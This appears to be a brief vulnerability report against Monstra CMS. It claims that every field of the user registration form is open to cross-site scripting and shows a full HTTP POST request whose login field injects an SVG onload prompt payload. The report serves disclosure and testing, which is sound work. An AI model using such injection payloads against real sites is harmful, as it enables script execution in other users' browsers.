XSS in registration Form

[nikhil1232]

XSS in registration Form
Below is the post request that is causing the pop up..here all the fields are vulnerable

POST /monstra/users/registration HTTP/1.1
Host: localhost
Cache-Control: no-cache
Referer: http://localhost/monstra/users/registration
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
Cookie: PHPSESSID=xxxx; login_attempts=i%3A5%3B
Accept-Encoding: gzip, deflate
Content-Length: 142
Content-Type: application/x-www-form-urlencoded

csrf=803ee6c7fc318793f6378e0a7e22257ff8a7ea48&login="><svg/onload=prompt(1337)>&password=&email=&answer=&register=Register